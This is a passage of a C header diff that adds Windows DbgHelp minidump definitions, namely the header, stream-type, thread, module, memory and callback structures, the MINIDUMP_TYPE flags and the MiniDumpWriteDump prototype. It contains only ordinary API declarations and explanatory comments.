IMAGEHLP_SYMBOL_INFO_REGRELATIVE SYMF_REGREL // 0x0010 +#define IMAGEHLP_SYMBOL_INFO_FRAMERELATIVE SYMF_FRAMEREL // 0x0020 +#define IMAGEHLP_SYMBOL_INFO_PARAMETER SYMF_PARAMETER // 0x0040 +#define IMAGEHLP_SYMBOL_INFO_LOCAL SYMF_LOCAL // 0x0080 +#define IMAGEHLP_SYMBOL_INFO_CONSTANT SYMF_CONSTANT // 0x0100 +#define IMAGEHLP_SYMBOL_FUNCTION SYMF_FUNCTION // 0x0800 +#define IMAGEHLP_SYMBOL_VIRTUAL SYMF_VIRTUAL // 0x1000 +#define IMAGEHLP_SYMBOL_THUNK SYMF_THUNK // 0x2000 +#define IMAGEHLP_SYMBOL_INFO_TLSRELATIVE SYMF_TLSREL // 0x4000 + +#include + + +#include + +#if defined(_MSC_VER) +#if _MSC_VER >= 800 +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4200) /* Zero length array */ +#pragma warning(disable:4201) /* Nameless struct/union */ +#endif +#endif + +#define MINIDUMP_SIGNATURE ('PMDM') +#define MINIDUMP_VERSION (42899) +typedef DWORD RVA; +typedef ULONG64 RVA64; + +typedef struct _MINIDUMP_LOCATION_DESCRIPTOR { + ULONG32 DataSize; + RVA Rva; +} MINIDUMP_LOCATION_DESCRIPTOR; + +typedef struct _MINIDUMP_LOCATION_DESCRIPTOR64 { + ULONG64 DataSize; + RVA64 Rva; +} MINIDUMP_LOCATION_DESCRIPTOR64; + + +typedef struct _MINIDUMP_MEMORY_DESCRIPTOR { + ULONG64 StartOfMemoryRange; + MINIDUMP_LOCATION_DESCRIPTOR Memory; +} MINIDUMP_MEMORY_DESCRIPTOR, *PMINIDUMP_MEMORY_DESCRIPTOR; + +// DESCRIPTOR64 is used for full-memory minidumps where +// all of the raw memory is laid out sequentially at the +// end of the dump. There is no need for individual RVAs +// as the RVA is the base RVA plus the sum of the preceeding +// data blocks. +typedef struct _MINIDUMP_MEMORY_DESCRIPTOR64 { + ULONG64 StartOfMemoryRange; + ULONG64 DataSize; +} MINIDUMP_MEMORY_DESCRIPTOR64, *PMINIDUMP_MEMORY_DESCRIPTOR64; + + +typedef struct _MINIDUMP_HEADER { + ULONG32 Signature; + ULONG32 Version; + ULONG32 NumberOfStreams; + RVA StreamDirectoryRva; + ULONG32 CheckSum; + union { + ULONG32 Reserved; + ULONG32 TimeDateStamp; + }; + ULONG64 Flags; +} MINIDUMP_HEADER, *PMINIDUMP_HEADER; + +// +// The MINIDUMP_HEADER field StreamDirectoryRva points to +// an array of MINIDUMP_DIRECTORY structures. +// + +typedef struct _MINIDUMP_DIRECTORY { + ULONG32 StreamType; + MINIDUMP_LOCATION_DESCRIPTOR Location; +} MINIDUMP_DIRECTORY, *PMINIDUMP_DIRECTORY; + + +typedef struct _MINIDUMP_STRING { + ULONG32 Length; // Length in bytes of the string + WCHAR Buffer [0]; // Variable size buffer +} MINIDUMP_STRING, *PMINIDUMP_STRING; + + + +// +// The MINIDUMP_DIRECTORY field StreamType may be one of the following types. +// Types will be added in the future, so if a program reading the minidump +// header encounters a stream type it does not understand it should ignore +// the data altogether. Any tag above LastReservedStream will not be used by +// the system and is reserved for program-specific information. +// + +typedef enum _MINIDUMP_STREAM_TYPE { + + UnusedStream = 0, + ReservedStream0 = 1, + ReservedStream1 = 2, + ThreadListStream = 3, + ModuleListStream = 4, + MemoryListStream = 5, + ExceptionStream = 6, + SystemInfoStream = 7, + ThreadExListStream = 8, + Memory64ListStream = 9, + CommentStreamA = 10, + CommentStreamW = 11, + HandleDataStream = 12, + FunctionTableStream = 13, + UnloadedModuleListStream = 14, + MiscInfoStream = 15, + MemoryInfoListStream = 16, + ThreadInfoListStream = 17, + HandleOperationListStream = 18, + TokenStream = 19, + + ceStreamNull = 0x8000, + ceStreamSystemInfo = 0x8001, + ceStreamException = 0x8002, + ceStreamModuleList = 0x8003, + ceStreamProcessList = 0x8004, + ceStreamThreadList = 0x8005, + ceStreamThreadContextList = 0x8006, + ceStreamThreadCallStackList = 0x8007, + ceStreamMemoryVirtualList = 0x8008, + ceStreamMemoryPhysicalList = 0x8009, + ceStreamBucketParameters = 0x800A, + ceStreamProcessModuleMap = 0x800B, + ceStreamDiagnosisList = 0x800C, + + LastReservedStream = 0xffff + +} MINIDUMP_STREAM_TYPE; + + +// +// The minidump system information contains processor and +// Operating System specific information. +// + +// +// CPU information is obtained from one of two places. +// +// 1) On x86 computers, CPU_INFORMATION is obtained from the CPUID +// instruction. You must use the X86 portion of the union for X86 +// computers. +// +// 2) On non-x86 architectures, CPU_INFORMATION is obtained by calling +// IsProcessorFeatureSupported(). +// + +typedef union _CPU_INFORMATION { + + // + // X86 platforms use CPUID function to obtain processor information. + // + + struct { + + // + // CPUID Subfunction 0, register EAX (VendorId [0]), + // EBX (VendorId [1]) and ECX (VendorId [2]). + // + + ULONG32 VendorId [ 3 ]; + + // + // CPUID Subfunction 1, register EAX + // + + ULONG32 VersionInformation; + + // + // CPUID Subfunction 1, register EDX + // + + ULONG32 FeatureInformation; + + + // + // CPUID, Subfunction 80000001, register EBX. This will only + // be obtained if the vendor id is "AuthenticAMD". + // + + ULONG32 AMDExtendedCpuFeatures; + + } X86CpuInfo; + + // + // Non-x86 platforms use processor feature flags. + // + + struct { + + ULONG64 ProcessorFeatures [ 2 ]; + + } OtherCpuInfo; + +} CPU_INFORMATION, *PCPU_INFORMATION; + +typedef struct _MINIDUMP_SYSTEM_INFO { + + // + // ProcessorArchitecture, ProcessorLevel and ProcessorRevision are all + // taken from the SYSTEM_INFO structure obtained by GetSystemInfo( ). + // + + USHORT ProcessorArchitecture; + USHORT ProcessorLevel; + USHORT ProcessorRevision; + + union { + USHORT Reserved0; + struct { + UCHAR NumberOfProcessors; + UCHAR ProductType; + }; + }; + + // + // MajorVersion, MinorVersion, BuildNumber, PlatformId and + // CSDVersion are all taken from the OSVERSIONINFO structure + // returned by GetVersionEx( ). + // + + ULONG32 MajorVersion; + ULONG32 MinorVersion; + ULONG32 BuildNumber; + ULONG32 PlatformId; + + // + // RVA to a CSDVersion string in the string table. + // + + RVA CSDVersionRva; + + union { + ULONG32 Reserved1; + struct { + USHORT SuiteMask; + USHORT Reserved2; + }; + }; + + CPU_INFORMATION Cpu; + +} MINIDUMP_SYSTEM_INFO, *PMINIDUMP_SYSTEM_INFO; + + +// +// The minidump thread contains standard thread +// information plus an RVA to the memory for this +// thread and an RVA to the CONTEXT structure for +// this thread. +// + + +// +// ThreadId must be 4 bytes on all architectures. +// + +C_ASSERT (sizeof ( ((PPROCESS_INFORMATION)0)->dwThreadId ) == 4); + +typedef struct _MINIDUMP_THREAD { + ULONG32 ThreadId; + ULONG32 SuspendCount; + ULONG32 PriorityClass; + ULONG32 Priority; + ULONG64 Teb; + MINIDUMP_MEMORY_DESCRIPTOR Stack; + MINIDUMP_LOCATION_DESCRIPTOR ThreadContext; +} MINIDUMP_THREAD, *PMINIDUMP_THREAD; + +// +// The thread list is a container of threads. +// + +typedef struct _MINIDUMP_THREAD_LIST { + ULONG32 NumberOfThreads; + MINIDUMP_THREAD Threads [0]; +} MINIDUMP_THREAD_LIST, *PMINIDUMP_THREAD_LIST; + + +typedef struct _MINIDUMP_THREAD_EX { + ULONG32 ThreadId; + ULONG32 SuspendCount; + ULONG32 PriorityClass; + ULONG32 Priority; + ULONG64 Teb; + MINIDUMP_MEMORY_DESCRIPTOR Stack; + MINIDUMP_LOCATION_DESCRIPTOR ThreadContext; + MINIDUMP_MEMORY_DESCRIPTOR BackingStore; +} MINIDUMP_THREAD_EX, *PMINIDUMP_THREAD_EX; + +// +// The thread list is a container of threads. +// + +typedef struct _MINIDUMP_THREAD_EX_LIST { + ULONG32 NumberOfThreads; + MINIDUMP_THREAD_EX Threads [0]; +} MINIDUMP_THREAD_EX_LIST, *PMINIDUMP_THREAD_EX_LIST; + + +// +// The MINIDUMP_EXCEPTION is the same as EXCEPTION on Win64. +// + +typedef struct _MINIDUMP_EXCEPTION { + ULONG32 ExceptionCode; + ULONG32 ExceptionFlags; + ULONG64 ExceptionRecord; + ULONG64 ExceptionAddress; + ULONG32 NumberParameters; + ULONG32 __unusedAlignment; + ULONG64 ExceptionInformation [ EXCEPTION_MAXIMUM_PARAMETERS ]; +} MINIDUMP_EXCEPTION, *PMINIDUMP_EXCEPTION; + + +// +// The exception information stream contains the id of the thread that caused +// the exception (ThreadId), the exception record for the exception +// (ExceptionRecord) and an RVA to the thread context where the exception +// occured. +// + +typedef struct MINIDUMP_EXCEPTION_STREAM { + ULONG32 ThreadId; + ULONG32 __alignment; + MINIDUMP_EXCEPTION ExceptionRecord; + MINIDUMP_LOCATION_DESCRIPTOR ThreadContext; +} MINIDUMP_EXCEPTION_STREAM, *PMINIDUMP_EXCEPTION_STREAM; + + +// +// The MINIDUMP_MODULE contains information about a +// a specific module. It includes the CheckSum and +// the TimeDateStamp for the module so the module +// can be reloaded during the analysis phase. +// + +typedef struct _MINIDUMP_MODULE { + ULONG64 BaseOfImage; + ULONG32 SizeOfImage; + ULONG32 CheckSum; + ULONG32 TimeDateStamp; + RVA ModuleNameRva; + VS_FIXEDFILEINFO VersionInfo; + MINIDUMP_LOCATION_DESCRIPTOR CvRecord; + MINIDUMP_LOCATION_DESCRIPTOR MiscRecord; + ULONG64 Reserved0; // Reserved for future use. + ULONG64 Reserved1; // Reserved for future use. +} MINIDUMP_MODULE, *PMINIDUMP_MODULE; + + +// +// The minidump module list is a container for modules. +// + +typedef struct _MINIDUMP_MODULE_LIST { + ULONG32 NumberOfModules; + MINIDUMP_MODULE Modules [ 0 ]; +} MINIDUMP_MODULE_LIST, *PMINIDUMP_MODULE_LIST; + + +// +// Memory Ranges +// + +typedef struct _MINIDUMP_MEMORY_LIST { + ULONG32 NumberOfMemoryRanges; + MINIDUMP_MEMORY_DESCRIPTOR MemoryRanges [0]; +} MINIDUMP_MEMORY_LIST, *PMINIDUMP_MEMORY_LIST; + +typedef struct _MINIDUMP_MEMORY64_LIST { + ULONG64 NumberOfMemoryRanges; + RVA64 BaseRva; + MINIDUMP_MEMORY_DESCRIPTOR64 MemoryRanges [0]; +} MINIDUMP_MEMORY64_LIST, *PMINIDUMP_MEMORY64_LIST; + + +// +// Support for user supplied exception information. +// + +typedef struct _MINIDUMP_EXCEPTION_INFORMATION { + DWORD ThreadId; + PEXCEPTION_POINTERS ExceptionPointers; + BOOL ClientPointers; +} MINIDUMP_EXCEPTION_INFORMATION, *PMINIDUMP_EXCEPTION_INFORMATION; + +typedef struct _MINIDUMP_EXCEPTION_INFORMATION64 { + DWORD ThreadId; + ULONG64 ExceptionRecord; + ULONG64 ContextRecord; + BOOL ClientPointers; +} MINIDUMP_EXCEPTION_INFORMATION64, *PMINIDUMP_EXCEPTION_INFORMATION64; + + +// +// Support for capturing system handle state at the time of the dump. +// + +// Per-handle object information varies according to +// the OS, the OS version, the processor type and +// so on. The minidump gives a minidump identifier +// to each possible data format for identification +// purposes but does not control nor describe the actual data. +typedef enum _MINIDUMP_HANDLE_OBJECT_INFORMATION_TYPE { + MiniHandleObjectInformationNone, + MiniThreadInformation1, + MiniMutantInformation1, + MiniMutantInformation2, + MiniProcessInformation1, + MiniProcessInformation2, + MiniHandleObjectInformationTypeMax +} MINIDUMP_HANDLE_OBJECT_INFORMATION_TYPE; + +typedef struct _MINIDUMP_HANDLE_OBJECT_INFORMATION { + RVA NextInfoRva; + ULONG32 InfoType; + ULONG32 SizeOfInfo; + // Raw information follows. +} MINIDUMP_HANDLE_OBJECT_INFORMATION; + +typedef struct _MINIDUMP_HANDLE_DESCRIPTOR { + ULONG64 Handle; + RVA TypeNameRva; + RVA ObjectNameRva; + ULONG32 Attributes; + ULONG32 GrantedAccess; + ULONG32 HandleCount; + ULONG32 PointerCount; +} MINIDUMP_HANDLE_DESCRIPTOR, *PMINIDUMP_HANDLE_DESCRIPTOR; + +typedef struct _MINIDUMP_HANDLE_DESCRIPTOR_2 { + ULONG64 Handle; + RVA TypeNameRva; + RVA ObjectNameRva; + ULONG32 Attributes; + ULONG32 GrantedAccess; + ULONG32 HandleCount; + ULONG32 PointerCount; + RVA ObjectInfoRva; + ULONG32 Reserved0; +} MINIDUMP_HANDLE_DESCRIPTOR_2, *PMINIDUMP_HANDLE_DESCRIPTOR_2; + +// The latest MINIDUMP_HANDLE_DESCRIPTOR definition. +typedef MINIDUMP_HANDLE_DESCRIPTOR_2 MINIDUMP_HANDLE_DESCRIPTOR_N; +typedef MINIDUMP_HANDLE_DESCRIPTOR_N *PMINIDUMP_HANDLE_DESCRIPTOR_N; + +typedef struct _MINIDUMP_HANDLE_DATA_STREAM { + ULONG32 SizeOfHeader; + ULONG32 SizeOfDescriptor; + ULONG32 NumberOfDescriptors; + ULONG32 Reserved; +} MINIDUMP_HANDLE_DATA_STREAM, *PMINIDUMP_HANDLE_DATA_STREAM; + +// Some operating systems can track the last operations +// performed on a handle. For example, Application Verifier +// can enable this for some versions of Windows. The +// handle operation list collects handle operations +// known for the dump target. +// Each entry is an AVRF_HANDLE_OPERATION. +typedef struct _MINIDUMP_HANDLE_OPERATION_LIST { + ULONG32 SizeOfHeader; + ULONG32 SizeOfEntry; + ULONG32 NumberOfEntries; + ULONG32 Reserved; +} MINIDUMP_HANDLE_OPERATION_LIST, *PMINIDUMP_HANDLE_OPERATION_LIST; + + +// +// Support for capturing dynamic function table state at the time of the dump. +// + +typedef struct _MINIDUMP_FUNCTION_TABLE_DESCRIPTOR { + ULONG64 MinimumAddress; + ULONG64 MaximumAddress; + ULONG64 BaseAddress; + ULONG32 EntryCount; + ULONG32 SizeOfAlignPad; +} MINIDUMP_FUNCTION_TABLE_DESCRIPTOR, *PMINIDUMP_FUNCTION_TABLE_DESCRIPTOR; + +typedef struct _MINIDUMP_FUNCTION_TABLE_STREAM { + ULONG32 SizeOfHeader; + ULONG32 SizeOfDescriptor; + ULONG32 SizeOfNativeDescriptor; + ULONG32 SizeOfFunctionEntry; + ULONG32 NumberOfDescriptors; + ULONG32 SizeOfAlignPad; +} MINIDUMP_FUNCTION_TABLE_STREAM, *PMINIDUMP_FUNCTION_TABLE_STREAM; + + +// +// The MINIDUMP_UNLOADED_MODULE contains information about a +// a specific module that was previously loaded but no +// longer is. This can help with diagnosing problems where +// callers attempt to call code that is no longer loaded. +// + +typedef struct _MINIDUMP_UNLOADED_MODULE { + ULONG64 BaseOfImage; + ULONG32 SizeOfImage; + ULONG32 CheckSum; + ULONG32 TimeDateStamp; + RVA ModuleNameRva; +} MINIDUMP_UNLOADED_MODULE, *PMINIDUMP_UNLOADED_MODULE; + + +// +// The minidump unloaded module list is a container for unloaded modules. +// + +typedef struct _MINIDUMP_UNLOADED_MODULE_LIST { + ULONG32 SizeOfHeader; + ULONG32 SizeOfEntry; + ULONG32 NumberOfEntries; +} MINIDUMP_UNLOADED_MODULE_LIST, *PMINIDUMP_UNLOADED_MODULE_LIST; + + +// +// The miscellaneous information stream contains a variety +// of small pieces of information. A member is valid if +// it's within the available size and its corresponding +// bit is set. +// + +#define MINIDUMP_MISC1_PROCESS_ID 0x00000001 +#define MINIDUMP_MISC1_PROCESS_TIMES 0x00000002 +#define MINIDUMP_MISC1_PROCESSOR_POWER_INFO 0x00000004 +#define MINIDUMP_MISC3_PROCESS_INTEGRITY 0x00000010 +#define MINIDUMP_MISC3_PROCESS_EXECUTE_FLAGS 0x00000020 +#define MINIDUMP_MISC3_TIMEZONE 0x00000040 +#define MINIDUMP_MISC3_PROTECTED_PROCESS 0x00000080 + +typedef struct _MINIDUMP_MISC_INFO { + ULONG32 SizeOfInfo; + ULONG32 Flags1; + ULONG32 ProcessId; + ULONG32 ProcessCreateTime; + ULONG32 ProcessUserTime; + ULONG32 ProcessKernelTime; +} MINIDUMP_MISC_INFO, *PMINIDUMP_MISC_INFO; + +typedef struct _MINIDUMP_MISC_INFO_2 { + ULONG32 SizeOfInfo; + ULONG32 Flags1; + ULONG32 ProcessId; + ULONG32 ProcessCreateTime; + ULONG32 ProcessUserTime; + ULONG32 ProcessKernelTime; + ULONG32 ProcessorMaxMhz; + ULONG32 ProcessorCurrentMhz; + ULONG32 ProcessorMhzLimit; + ULONG32 ProcessorMaxIdleState; + ULONG32 ProcessorCurrentIdleState; +} MINIDUMP_MISC_INFO_2, *PMINIDUMP_MISC_INFO_2; + +typedef struct _MINIDUMP_MISC_INFO_3 { + ULONG32 SizeOfInfo; + ULONG32 Flags1; + ULONG32 ProcessId; + ULONG32 ProcessCreateTime; + ULONG32 ProcessUserTime; + ULONG32 ProcessKernelTime; + ULONG32 ProcessorMaxMhz; + ULONG32 ProcessorCurrentMhz; + ULONG32 ProcessorMhzLimit; + ULONG32 ProcessorMaxIdleState; + ULONG32 ProcessorCurrentIdleState; + ULONG32 ProcessIntegrityLevel; + ULONG32 ProcessExecuteFlags; + ULONG32 ProtectedProcess; + ULONG32 TimeZoneId; + TIME_ZONE_INFORMATION TimeZone; +} MINIDUMP_MISC_INFO_3, *PMINIDUMP_MISC_INFO_3; + +// The latest MINIDUMP_MISC_INFO definition. +typedef MINIDUMP_MISC_INFO_3 MINIDUMP_MISC_INFO_N; +typedef MINIDUMP_MISC_INFO_N* PMINIDUMP_MISC_INFO_N; + + +// +// The memory information stream contains memory region +// description information. This stream corresponds to +// what VirtualQuery would return for the process the +// dump was created for. +// + +typedef struct _MINIDUMP_MEMORY_INFO { + ULONG64 BaseAddress; + ULONG64 AllocationBase; + ULONG32 AllocationProtect; + ULONG32 __alignment1; + ULONG64 RegionSize; + ULONG32 State; + ULONG32 Protect; + ULONG32 Type; + ULONG32 __alignment2; +} MINIDUMP_MEMORY_INFO, *PMINIDUMP_MEMORY_INFO; + +typedef struct _MINIDUMP_MEMORY_INFO_LIST { + ULONG SizeOfHeader; + ULONG SizeOfEntry; + ULONG64 NumberOfEntries; +} MINIDUMP_MEMORY_INFO_LIST, *PMINIDUMP_MEMORY_INFO_LIST; + + +// +// The memory information stream contains memory region +// description information. This stream corresponds to +// what VirtualQuery would return for the process the +// dump was created for. +// + +// Thread dump writer status flags. +#define MINIDUMP_THREAD_INFO_ERROR_THREAD 0x00000001 +#define MINIDUMP_THREAD_INFO_WRITING_THREAD 0x00000002 +#define MINIDUMP_THREAD_INFO_EXITED_THREAD 0x00000004 +#define MINIDUMP_THREAD_INFO_INVALID_INFO 0x00000008 +#define MINIDUMP_THREAD_INFO_INVALID_CONTEXT 0x00000010 +#define MINIDUMP_THREAD_INFO_INVALID_TEB 0x00000020 + +typedef struct _MINIDUMP_THREAD_INFO { + ULONG32 ThreadId; + ULONG32 DumpFlags; + ULONG32 DumpError; + ULONG32 ExitStatus; + ULONG64 CreateTime; + ULONG64 ExitTime; + ULONG64 KernelTime; + ULONG64 UserTime; + ULONG64 StartAddress; + ULONG64 Affinity; +} MINIDUMP_THREAD_INFO, *PMINIDUMP_THREAD_INFO; + +typedef struct _MINIDUMP_THREAD_INFO_LIST { + ULONG SizeOfHeader; + ULONG SizeOfEntry; + ULONG NumberOfEntries; +} MINIDUMP_THREAD_INFO_LIST, *PMINIDUMP_THREAD_INFO_LIST; + +// +// Support for token information. +// +typedef struct _MINIDUMP_TOKEN_INFO_HEADER { + ULONG TokenSize; // The size of the token structure. + ULONG TokenId; // The PID in NtOpenProcessToken() call or TID in NtOpenThreadToken() call. + ULONG64 TokenHandle; // The handle value returned. +} MINIDUMP_TOKEN_INFO_HEADER, *PMINIDUMP_TOKEN_INFO_HEADER; + +typedef struct _MINIDUMP_TOKEN_INFO_LIST { + ULONG TokenListSize; + ULONG TokenListEntries; + ULONG ListHeaderSize; + ULONG ElementHeaderSize; +} MINIDUMP_TOKEN_INFO_LIST, *PMINIDUMP_TOKEN_INFO_LIST; + +// +// Support for arbitrary user-defined information. +// + +typedef struct _MINIDUMP_USER_RECORD { + ULONG32 Type; + MINIDUMP_LOCATION_DESCRIPTOR Memory; +} MINIDUMP_USER_RECORD, *PMINIDUMP_USER_RECORD; + + +typedef struct _MINIDUMP_USER_STREAM { + ULONG32 Type; + ULONG BufferSize; + PVOID Buffer; + +} MINIDUMP_USER_STREAM, *PMINIDUMP_USER_STREAM; + + +typedef struct _MINIDUMP_USER_STREAM_INFORMATION { + ULONG UserStreamCount; + PMINIDUMP_USER_STREAM UserStreamArray; +} MINIDUMP_USER_STREAM_INFORMATION, *PMINIDUMP_USER_STREAM_INFORMATION; + +// +// Callback support. +// + +typedef enum _MINIDUMP_CALLBACK_TYPE { + ModuleCallback, + ThreadCallback, + ThreadExCallback, + IncludeThreadCallback, + IncludeModuleCallback, + MemoryCallback, + CancelCallback, + WriteKernelMinidumpCallback, + KernelMinidumpStatusCallback, + RemoveMemoryCallback, + IncludeVmRegionCallback, + IoStartCallback, + IoWriteAllCallback, + IoFinishCallback, + ReadMemoryFailureCallback, + SecondaryFlagsCallback, +} MINIDUMP_CALLBACK_TYPE; + + +typedef struct _MINIDUMP_THREAD_CALLBACK { + ULONG ThreadId; + HANDLE ThreadHandle; + CONTEXT Context; + ULONG SizeOfContext; + ULONG64 StackBase; + ULONG64 StackEnd; +} MINIDUMP_THREAD_CALLBACK, *PMINIDUMP_THREAD_CALLBACK; + + +typedef struct _MINIDUMP_THREAD_EX_CALLBACK { + ULONG ThreadId; + HANDLE ThreadHandle; + CONTEXT Context; + ULONG SizeOfContext; + ULONG64 StackBase; + ULONG64 StackEnd; + ULONG64 BackingStoreBase; + ULONG64 BackingStoreEnd; +} MINIDUMP_THREAD_EX_CALLBACK, *PMINIDUMP_THREAD_EX_CALLBACK; + + +typedef struct _MINIDUMP_INCLUDE_THREAD_CALLBACK { + ULONG ThreadId; +} MINIDUMP_INCLUDE_THREAD_CALLBACK, *PMINIDUMP_INCLUDE_THREAD_CALLBACK; + + +typedef enum _THREAD_WRITE_FLAGS { + ThreadWriteThread = 0x0001, + ThreadWriteStack = 0x0002, + ThreadWriteContext = 0x0004, + ThreadWriteBackingStore = 0x0008, + ThreadWriteInstructionWindow = 0x0010, + ThreadWriteThreadData = 0x0020, + ThreadWriteThreadInfo = 0x0040, +} THREAD_WRITE_FLAGS; + +typedef struct _MINIDUMP_MODULE_CALLBACK { + PWCHAR FullPath; + ULONG64 BaseOfImage; + ULONG SizeOfImage; + ULONG CheckSum; + ULONG TimeDateStamp; + VS_FIXEDFILEINFO VersionInfo; + PVOID CvRecord; + ULONG SizeOfCvRecord; + PVOID MiscRecord; + ULONG SizeOfMiscRecord; +} MINIDUMP_MODULE_CALLBACK, *PMINIDUMP_MODULE_CALLBACK; + + +typedef struct _MINIDUMP_INCLUDE_MODULE_CALLBACK { + ULONG64 BaseOfImage; +} MINIDUMP_INCLUDE_MODULE_CALLBACK, *PMINIDUMP_INCLUDE_MODULE_CALLBACK; + + +typedef enum _MODULE_WRITE_FLAGS { + ModuleWriteModule = 0x0001, + ModuleWriteDataSeg = 0x0002, + ModuleWriteMiscRecord = 0x0004, + ModuleWriteCvRecord = 0x0008, + ModuleReferencedByMemory = 0x0010, + ModuleWriteTlsData = 0x0020, + ModuleWriteCodeSegs = 0x0040, +} MODULE_WRITE_FLAGS; + + +typedef struct _MINIDUMP_IO_CALLBACK { + HANDLE Handle; + ULONG64 Offset; + PVOID Buffer; + ULONG BufferBytes; +} MINIDUMP_IO_CALLBACK, *PMINIDUMP_IO_CALLBACK; + + +typedef struct _MINIDUMP_READ_MEMORY_FAILURE_CALLBACK +{ + ULONG64 Offset; + ULONG Bytes; + HRESULT FailureStatus; +} MINIDUMP_READ_MEMORY_FAILURE_CALLBACK, + *PMINIDUMP_READ_MEMORY_FAILURE_CALLBACK; + + +typedef struct _MINIDUMP_CALLBACK_INPUT { + ULONG ProcessId; + HANDLE ProcessHandle; + ULONG CallbackType; + union { + HRESULT Status; + MINIDUMP_THREAD_CALLBACK Thread; + MINIDUMP_THREAD_EX_CALLBACK ThreadEx; + MINIDUMP_MODULE_CALLBACK Module; + MINIDUMP_INCLUDE_THREAD_CALLBACK IncludeThread; + MINIDUMP_INCLUDE_MODULE_CALLBACK IncludeModule; + MINIDUMP_IO_CALLBACK Io; + MINIDUMP_READ_MEMORY_FAILURE_CALLBACK ReadMemoryFailure; + ULONG SecondaryFlags; + }; +} MINIDUMP_CALLBACK_INPUT, *PMINIDUMP_CALLBACK_INPUT; + +typedef struct _MINIDUMP_CALLBACK_OUTPUT { + union { + ULONG ModuleWriteFlags; + ULONG ThreadWriteFlags; + ULONG SecondaryFlags; + struct { + ULONG64 MemoryBase; + ULONG MemorySize; + }; + struct { + BOOL CheckCancel; + BOOL Cancel; + }; + HANDLE Handle; + struct { + MINIDUMP_MEMORY_INFO VmRegion; + BOOL Continue; + }; + HRESULT Status; + }; +} MINIDUMP_CALLBACK_OUTPUT, *PMINIDUMP_CALLBACK_OUTPUT; + + +// +// A normal minidump contains just the information +// necessary to capture stack traces for all of the +// existing threads in a process. +// +// A minidump with data segments includes all of the data +// sections from loaded modules in order to capture +// global variable contents. This can make the dump much +// larger if many modules have global data. +// +// A minidump with full memory includes all of the accessible +// memory in the process and can be very large. A minidump +// with full memory always has the raw memory data at the end +// of the dump so that the initial structures in the dump can +// be mapped directly without having to include the raw +// memory information. +// +// Stack and backing store memory can be filtered to remove +// data unnecessary for stack walking. This can improve +// compression of stacks and also deletes data that may +// be private and should not be stored in a dump. +// Memory can also be scanned to see what modules are +// referenced by stack and backing store memory to allow +// omission of other modules to reduce dump size. +// In either of these modes the ModuleReferencedByMemory flag +// is set for all modules referenced before the base +// module callbacks occur. +// +// On some operating systems a list of modules that were +// recently unloaded is kept in addition to the currently +// loaded module list. This information can be saved in +// the dump if desired. +// +// Stack and backing store memory can be scanned for referenced +// pages in order to pick up data referenced by locals or other +// stack memory. This can increase the size of a dump significantly. +// +// Module paths may contain undesired information such as user names +// or other important directory names so they can be stripped. This +// option reduces the ability to locate the proper image later +// and should only be used in certain situations. +// +// Complete operating system per-process and per-thread information can +// be gathered and stored in the dump. +// +// The virtual address space can be scanned for various types +// of memory to be included in the dump. +// +// Code which is concerned with potentially private information +// getting into the minidump can set a flag that automatically +// modifies all existing and future flags to avoid placing +// unnecessary data in the dump. Basic data, such as stack +// information, will still be included but optional data, such +// as indirect memory, will not. +// +// When doing a full memory dump it's possible to store all +// of the enumerated memory region descriptive information +// in a memory information stream. +// +// Additional thread information beyond the basic thread +// structure can be collected if desired. +// +// A minidump with code segments includes all of the code +// and code-related sections from loaded modules in order +// to capture executable content. +// +// MiniDumpWithoutAuxiliaryState turns off any secondary, +// auxiliary-supported memory gathering. +// +// MiniDumpWithFullAuxiliaryState asks any present auxiliary +// data providers to include all of their state in the dump. +// The exact set of what is provided depends on the auxiliary. +// This can be quite large. +// + +typedef enum _MINIDUMP_TYPE { + MiniDumpNormal = 0x00000000, + MiniDumpWithDataSegs = 0x00000001, + MiniDumpWithFullMemory = 0x00000002, + MiniDumpWithHandleData = 0x00000004, + MiniDumpFilterMemory = 0x00000008, + MiniDumpScanMemory = 0x00000010, + MiniDumpWithUnloadedModules = 0x00000020, + MiniDumpWithIndirectlyReferencedMemory = 0x00000040, + MiniDumpFilterModulePaths = 0x00000080, + MiniDumpWithProcessThreadData = 0x00000100, + MiniDumpWithPrivateReadWriteMemory = 0x00000200, + MiniDumpWithoutOptionalData = 0x00000400, + MiniDumpWithFullMemoryInfo = 0x00000800, + MiniDumpWithThreadInfo = 0x00001000, + MiniDumpWithCodeSegs = 0x00002000, + MiniDumpWithoutAuxiliaryState = 0x00004000, + MiniDumpWithFullAuxiliaryState = 0x00008000, + MiniDumpWithPrivateWriteCopyMemory = 0x00010000, + MiniDumpIgnoreInaccessibleMemory = 0x00020000, + MiniDumpWithTokenInformation = 0x00040000, + MiniDumpValidTypeFlags = 0x0007ffff, +} MINIDUMP_TYPE; + +// +// In addition to the primary flags provided to +// MiniDumpWriteDump there are additional, less +// frequently used options queried via the secondary +// flags callback. +// +// MiniSecondaryWithoutPowerInfo suppresses the minidump +// query that retrieves processor power information for +// MINIDUMP_MISC_INFO. +// + +typedef enum _MINIDUMP_SECONDARY_FLAGS { + MiniSecondaryWithoutPowerInfo = 0x00000001, + + MiniSecondaryValidFlags = 0x00000001, +} MINIDUMP_SECONDARY_FLAGS; + + +// +// The minidump callback should modify the FieldsToWrite parameter to reflect +// what portions of the specified thread or module should be written to the +// file. +// + +typedef +BOOL +(WINAPI * MINIDUMP_CALLBACK_ROUTINE) ( + __inout PVOID CallbackParam, + __in PMINIDUMP_CALLBACK_INPUT CallbackInput, + __inout PMINIDUMP_CALLBACK_OUTPUT CallbackOutput + ); + +typedef struct _MINIDUMP_CALLBACK_INFORMATION { + MINIDUMP_CALLBACK_ROUTINE CallbackRoutine; + PVOID CallbackParam; +} MINIDUMP_CALLBACK_INFORMATION, *PMINIDUMP_CALLBACK_INFORMATION; + + + +//++ +// +// PVOID +// RVA_TO_ADDR( +// PVOID Mapping, +// ULONG Rva +// ) +// +// Routine Description: +// +// Map an RVA that is contained within a mapped file to it's associated +// flat address. +// +// Arguments: +// +// Mapping - Base address of mapped file containing the RVA. +// +// Rva - An Rva to fixup. +// +// Return Values: +// +// A pointer to the desired data. +// +//-- + +#define RVA_TO_ADDR(Mapping,Rva) ((PVOID)(((ULONG_PTR) (Mapping)) + (Rva))) + +BOOL +WINAPI +MiniDumpWriteDump( + __in HANDLE hProcess, + __in DWORD ProcessId, + __in HANDLE hFile, + __in MINIDUMP_TYPE DumpType, + __in_opt PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, + __in_opt PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, + __in_opt PMINIDUMP_CALLBACK_INFORMATION CallbackParam + ); + +BOOL +WINAPI 